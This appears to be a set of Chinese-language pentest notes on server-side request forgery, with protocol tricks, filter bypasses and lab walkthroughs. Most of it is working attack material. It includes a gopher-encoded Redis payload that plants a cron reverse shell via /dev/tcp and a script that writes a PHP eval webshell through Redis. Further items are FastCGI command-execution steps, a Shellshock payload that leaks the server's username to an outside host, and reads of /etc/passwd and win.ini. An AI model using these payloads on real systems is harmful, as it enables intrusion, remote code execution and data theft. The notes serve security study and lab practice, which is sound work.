简介#
很多 Web 应用都提供了从其他服务器上获取数据的功能,这种功能通常被称为 “外部资源加载”。通过使用用户指定的 URL,Web 应用可以执行各种操作,如获取图片、下载文件、读取文件内容等。然而,如果这个功能被恶意使用,攻击者可以利用存在缺陷的 Web 应用作为代理,攻击远程和本地的服务器。这种形式的攻击被称为服务端请求伪造攻击(Server-side Request Forgery,简称 SSRF)。
在 SSRF 攻击中,攻击者通过构造特殊的请求,使得服务器端发起的请求目标是攻击者自己控制的或者是内部的系统。一般情况下,SSRF 攻击的目标是从外网无法直接访问的内部系统,例如数据库、内部网络接口等,这样攻击者就可以绕过防火墙,直接访问这些内部系统。
SSRF 攻击的形成主要是由于服务端提供了从其他服务器获取数据的功能,但没有对目标地址做出足够的过滤和限制。例如,服务端可能允许从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载文件等。如果服务端没有对这些操作进行适当的安全控制,例如检查 URL 是否指向内部网络,或者限制可访问的 URL 范围,那么攻击者就可能利用这个功能进行 SSRF 攻击。
类型#
- 基础(回显)
- 不回显
利用流程#
能够对外发起网络请求的地方,就可能存在 SSRF,如下对 127.0.0.1 网站自身的 8080 端口发起请求,返回了相关内容,说明存在 SSRF 漏洞。
请求包如下:
POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
url=127.0.0.1%3A8000
尝试读取本地文件(windows)
file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts
如果是 linux 环境,读取如下文件:
file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces
案例一
GET 请求
http://example.com/index.php?page=about.php
http://example.com/index.php?page=https://google.com
http://example.com/index.php?page=file:///etc/passwd
案例二
POST 请求
POST /test/demo_form.php HTTP/1.1
Host: example.com
url=https://example.com/as&name2=value2
利用方式#
漏洞常规利用方式#
- 内网端口扫描
- 利用 DICT、HTTP 协议可以探测内网端口开放情况
- burp suite 爆破
- 爆破常见端口,80,8080,3306,6379 等
- 目录扫描
- burp suite 爆破
- sql 注入
- 编码格式,两次 url 编码
- 命令执行
- 编码格式,两次 url 编码
- gopher 协议
- url:gopher://[host]:[port]/ 两次 url 编码的 tcp 数据流
- CVE-2017-12615
- tomcat put 方法写文件
- Redis 未授权访问漏洞(无认证)
- DICT 协议(dict://x.x.x.x:6379/<Redis 命令>)
- ssrf-xss
漏洞复杂利用方式#
盲 SSRF 利用#
根据响应状态和响应时间判断端口是否开放
下图是一个示例表:
使用带外技术进行盲 SSRF 利用。
各种利用协议
file:///
dict://
sftp://
ldap://
tftp://
gopher://
dict 协议#
如果服务器禁止对外部站点或白名单中的 http 请求,那么可以使用 dict 协议。
dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
gopher 协议#
gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,在构成符合 gopher 协议的请求。
gopher 协议是 ssrf 利用中最强大的协议
如下案例,302 跳转接收请求。
http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test
格式
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
curl gopher://127.0.0.1:8000/_GET%20test
gopher 的默认端口是 70
如果发起 post 请求,回车换行需要使用 %0d%0a,如果多个参数,参数之间的 & 也需要进行 URL 编码。
发送 get 请求
如果要发送如下 payload
GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1
那么需要变为如下格式
curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A
在 HTTP 包的最后要加 %0d%0a,代表消息结束
发送 post 请求
POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11
name=test
那么需要变为如下格式
curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A
ssrf 中的利用
http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc
# 由于PHP在接收到参数后会做一次URL的解码,所以要再 url 编码一次
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A
URL 中的/
不能进行两次编码,端口号不可以两次编码,协议名称不可两次转码
利用 gopher 协议访问 redis 反弹 shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
s/ftp 协议#
sftp 协议是 ssh 文件传输协议的缩写即安全的传输协议,用于传输文件
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
tftp#
文件传输协议
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3
file 协议#
file 协议用于读取文件系统中的敏感文件
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
ldap/s/i#
LDAP 代表轻量级目录访问协议。它是一种在 IP 网络上用于管理和访问分布式目录信息服务的应用协议。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
pdf ssrf#
有些情况下,服务器会将上传的文件转成 pdf 文件
尝试使用<iframe>
, <img>
, <base>
或者<script>
标签、CSS url () 去请求内部服务,读取敏感文件。
<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">
avi#
fastcgi 协议#
title:ctfhub靶场
- 首先在服务器上监听
nc -lvnp 9000 > 1.txt
- 客户端使用 python 脚本连接 9000 端口
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
- 将生成的 txt 文件通过如下 python 脚本进行二次编码
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))
将 payload 放到漏洞参数处。
知道文件名后,通过 cat 命令查看 flag 的内容
python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php
和前面的步骤一致。
利用案例#
端口扫描#
SSRF 配合 DICT 协议可以用来探测内网端口开放情况,只可以探测 tcp 回显的端口。
redis#
curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'
工具#
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
上述工具需要再进行一次 url 编码。
[[ctfhub-skilltree.md# 二次编码脚本 | url 二次编码脚本]]
redis 写入 shell
import urllib
protocol="gopher://"
ip="192.168.134.132" //ip地址
port="6379" //端口
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"//写入内容为一句话木马
filename="1.php" //文件名为1.php
path="/var/www/html"//默认路径
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
案例#
[[ctfhub-skilltree.md#redis|ssrf 之 redis 写入 shell 场景]]
绕过技巧#
fuzz 字典#
- web 漏洞 ->ssrfDicts
白名单#
1、允许指定的 ip 或域名访问指定的资源
白名单为:abc.com
直接无法读取
http://example.com/ssrf.php?url=https://google.com
需要在白名单域中,找到开放重定向漏洞,结合开放重定向漏洞进行利用。
http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com
2、子域名
白名单为:*.abc.com
http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com
黑名单#
- ip 改为下述可绕过的 ip
- 对过滤的字符进行编码
- 或者使用域名,指向 localhost
特殊 ip#
http://0177.1/ # 十进制 http://127.0.0.1
http://0x7f.1/ # 十六进制 http://127.0.0.1
http://127.000.000.1
https://520968996
错误 ip#
http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/
ipv6#
http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/·
其他协议#
gopher://
dict://
php://
jar://
tftp://
DNS 欺骗#
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
xip.io#
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io
编码绕过#
这些包括十六进制编码,八进制编码,双字编码,URL 编码和混合编码。
127.0.0.1 translates to 0x7f.0x0.0x0.0x1
127.0.0.1 translates to 0177.0.0.01
http://127.0.0.1 translates to http://2130706433
localhost translates to %6c%6f%63%61%6c%68%6f%73%74
白名单#
- 可以在 url 前面加上认证,通过 @分割,username 换成内部系统 ip,其他的路径加到最后,如下
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/
- 也可以使用 #号分割各个 url 片段
https://evil-host#expected-host
- 使用 DNS 的命名结构
https://expected-host.evil-host
- 对字符进行 url 编码用来混淆 url 解析器。
302 跳转#
有时服务端可能过滤了很多协议,如传入的 URL 中只允许出现 “http” 或 “https”,那么可以在自己的服务器上写一个 302 跳转,利用 Gopher 协议攻击内网的 Redis。
SSRF lab#
Lab: Basic SSRF against the local server#
抓包,正常的请求
将 stockApi 改为http://localhost/admin,直接未授权访问了后台面板。
删除用户,输入如下参数:stockApi=http://localhost/admin/delete?username=carlos
成功删除账号
Lab: Basic SSRF against another back-end system#
title:实验目标
通过ssrf对内部网络进行端口扫描,发现192.168.0.X网段开放的8080端口
同样的,来到 check stock 页面。
正常的请求如下:
发送到 intruder
payload 设置
通过查看响应大小,可以看到 ip 是 192.168.0.154
删除用户 carlos,删除成功。
SSRF with blacklist-based input filter#
输入内网 url,被拦截
黑名单绕过,127.0.0.1 改为 127.1,admin 也会拦截,对 admin 的 a 进行两次编码,第二次编码只对特殊字符。
删除 carlos 账号。
SSRF with whitelist-based input filters#
白名单只允许 stock.weliketoshop.net 访问。
通过输入http://[email protected]/ 观察发现可以通过这种嵌入式凭证的 url 绕过。
在 username 后面加 #号,发现还是被拦截,对 #号进行两次 url 编码,发现未被拦截。
http://localhost%[email protected]/
后接 admin,上述图片正常绕过。
post 发包删除 carlos 账户。
stockApi=http://localhost%[email protected]/admin/delete?username=carlos
Lab: SSRF with filter bypass via open redirection vulnerability#
通过重定向漏洞实现 SSRF 漏洞,目标访问
http://192.168.0.12:8080/admin
and delete the usercarlos
首先需要找到一个开放重定向漏洞,在商品详情页面的链接跳转处可以找到。
链接如下:
https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com
可以直接跳转到http://www.baidu.com。
抓包 check stock 的请求包。
将上述包发送出去,提示 path 参数缺失
去掉 currentProductId 即可。
删除用户。
Blind SSRF with out-of-band detection#
漏洞位于 referer 处
打开 Burp Collaborator client,拷贝一个域名
将他复制到 referer 处,并发送请求,Burp Collaborator client 收到了发送的请求。
Lab: Blind SSRF with Shellshock exploitation#
1、要实现这个实验,需要先安装 "Collaborator Everywhere" 插件,burp 的商店中自带,找到安装即可。
2、访问受害者网站并抓包,右键,Add to scope 中。
3、然后继续浏览网站,"Collaborator Everywhere" 插件就会开始发送请求,并且可以查看到相关的响应了,告诉我们这里存在 ssrf 漏洞。
4、具体的请求如下
还添加了一些其他的请求。
发送到 intruder 模块,进行暴力破解,User-Agent 设置为如下 payload,referer 设置为需要爆破的内网服务器网段。
() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net
设置爆破的参数
线程设置为 1
开始爆破,查看 Burp Collaborator client 是否接收到请求。
如上,获取到了服务器的用户名。
漏洞危害#
SSRF 可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用 File 协议读取本地文件。
内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在 SSRF 时,通常会造成较大的危害。
防御方式#
- 过滤返回的信息
- 统一错误信息
- 限制请求的端口
- 禁止不常用的协议
- 对 DNS Rebinding,考虑使用 DNS 缓存或者 Host 白名单
其他#
-
title: 相关文章
- 浅析 SSRF 原理及利用方式
- Gopher 协议在 SSRF 漏洞中的深入研究
- SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1
- SSRF — Server Side Request Forgery (Types and ways to exploit it) Part-2
- SSRF — Server Side Request Forgery (Types and ways to exploit it) Part-3
- ssrf - web 安全学习笔记
- ssrf - 各种组件的漏洞利用方式
- SSRF in PHP
- 从一文中了解 SSRF 的各种绕过姿势及攻击思路
- SSRF 学习记录
- 利用 SSRF 攻击内网 FastCGI 协议
- Fastcgi 协议分析 && PHP-FPM 未授权访问漏洞 && Exp 编写
- SSRF bible. Cheatsheet
-
title: 相关案例
- SSRF exploitation in Spreedsheet to PDF converter - excel 中的 ssrf+xxe 读文件
-
title
-
title: 相关工具
- In3tinct/See-SURF - python 写的 ssrf 参数扫描工具
- swisskyrepo/SSRFmap - 自动化 Fuzz SSRF 开发工具
- tarunkant/Gopherus - 该工具生成 gopher payload ,以利用 SSRF 并在各种服务器中获得 RCE
- dns rebinding
- URL 在线编码解码工具
-
title: 相关资源 & 靶场